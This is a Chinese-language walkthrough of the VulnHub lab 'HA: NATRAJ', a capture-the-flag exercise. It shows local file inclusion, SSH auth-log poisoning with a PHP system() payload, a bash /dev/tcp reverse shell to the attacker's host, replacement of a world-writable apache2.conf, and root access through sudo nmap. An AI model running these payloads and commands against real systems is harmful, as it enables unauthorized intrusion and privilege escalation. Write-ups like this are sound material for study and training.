一、前言
主要利用方式:
本地文件包含漏洞+日志文件构建反弹shell语句 ==》拿到边界权限
777可执行的apache2配置文件添加可登录用户 ==》可切换登录用户
查询可sudo的权限,发现nmap指令可提升 ==》获取root权限
二、靶机信息
靶场: vulnhub.com
靶机名称: HA: NATRAJ
难度: 中等
发布时间: 2020 年 6月4日
下载地址:https://www.vulnhub.com/entry/ha-natraj,489/
备注:感觉这个靶场,不简单,利用的方式都是需要大量的搜集信息
三、虚拟机配置
Vmware、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配
四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l
2、探测靶机ip端口及端口具体服务
└─$ sudo nmap -p- 192.168.169.166
└─$ sudo nmap -p22,80 -sV -A 192.168.169.166
4、访问80web服务及常规路径扫描
http://192.168.169.166/
server-status路径扫描也没扫描出啥
└─$ dirsearch -u 192.168.169.166/server-status/
cossole路径只扫描出了一个file.php文件
http://192.168.169.166/console/
五、漏洞利用(突破边界)
5、访问file.php文件,然后尝试文件包含,经过测试,存在文件包含漏洞
http://192.168.169.166/console/file.php?file=/var/www/html/index.html
http://192.168.169.166/console/file.php?file=/etc/passwd
经过整理,发现存在root、natraj、mahakal三个用户
6、利用用户认证日志和LFI获得反弹shell
通过测试,可以通过本地文件包含查看登录日志(/var/log/auth.log)
尝试使用已知的用户登录
ssh natraj@192.168.169.166
显示用户名,可以在ssh登录的时候将php代码作为用户名插入,这样php代码就会被写入/var/log/auth.log,而利用网站本地文件包含漏洞包含/var/log/auth.log时就又可能会触发写入的php代码执行。
ssh登录靶机,用户名为"<?php system($_GET[test]); ?>",密码随便输
ssh "<?php system($_GET[test]); ?>"@192.168.169.166
浏览器访问 http://192.168.169.166/console/file.php?file=/var/log/auth.log&test=id
可以得到id命令的执行结果,表明插入的php代码有效
可以得到id命令的执行结果,表明插入的php代码有效,成功解析了id的用户组
下面就可以使用php解析反弹shell,将:bash -c 'exec bash -i &>/dev/tcp/192.168.169.129/9999 <&1' 传给test即可得到反弹shell
nc开启监听
└─$ nc -lnvp 9999
浏览器访问:
http://192.168.169.166/console/file.php?file=/var/log/auth.log&test=bash%20-c%20%27exec%20bash%20-i%20%26%3E%2Fdev%2Ftcp%2F192.168.169.129%2F9999%20%3C%261%27
编码前:(http://192.168.169.166/console/file.php?file=/var/log/auth.log&test=bash -i >& /dev/tcp/192.168.169.129/9999 0>&1)
成功反弹shell
查找777权限文件
www-data@ubuntu:/var/www/html/console$ find / -type f -perm 777 -exec ls -l {} ; 2>/dev/null
Apache2.conf拥有777权限。这里可以将上线的权限修改为natraj、mahakal 这两个用户,但不能修改为root,修改为root会导致apache起不来。而且要重启服务器,改成natraj虽然可以得到natraj的反弹shell,但natraj没有可以sudo -l的命令
本地修改apache2.conf的内容,并开启web服务
└─$ vi apache2.conf
└─$ python -m http.server 80
靶机cd到tmp目录,下载apache2.conf文件,授权,并cp到原有的目录中
www-data@ubuntu:/var/www/html/console$ cd /tmp
www-data@ubuntu:/tmp$ ls
www-data@ubuntu:/tmp$ wget 192.168.169.129/apache2.conf
www-data@ubuntu:/tmp$ chmod 777 apache2.conf
www-data@ubuntu:/tmp$ cp /tmp/apache2.conf /etc/apache2/apache2.conf
重启apache2的,但是www-data用户似乎没有这方面的权限,
重启系统,只能在vmware上重启虚拟机了
重启后重复一遍反弹shell的操作,得到mahakal的反弹shell。
执行sudo -l,发现mahakal可以sudo执行nmap命令
六、提权
7、sudo nmap提权
在GTFOBins上查到nmap可以sudo提权
https://gtfobins.github.io/gtfobins/nmap/#sudo
按照指令,提升为root权限
mahakal@ubuntu:/var/www/html/console$ TF=$(mktemp)
mahakal@ubuntu:/var/www/html/console$ echo 'os.execute("/bin/sh")' > $TF
mahakal@ubuntu:/var/www/html/console$ sudo nmap --script=$TF
uid=0(root) gid=0(root) groups=0(root)
升级tty,查看root权限flag
python3 -c "import pty;pty.spawn('/bin/bash')"
root@ubuntu:/var/www/html/console# cd /root
root@ubuntu:~# ls
root@ubuntu:~# cat root.txt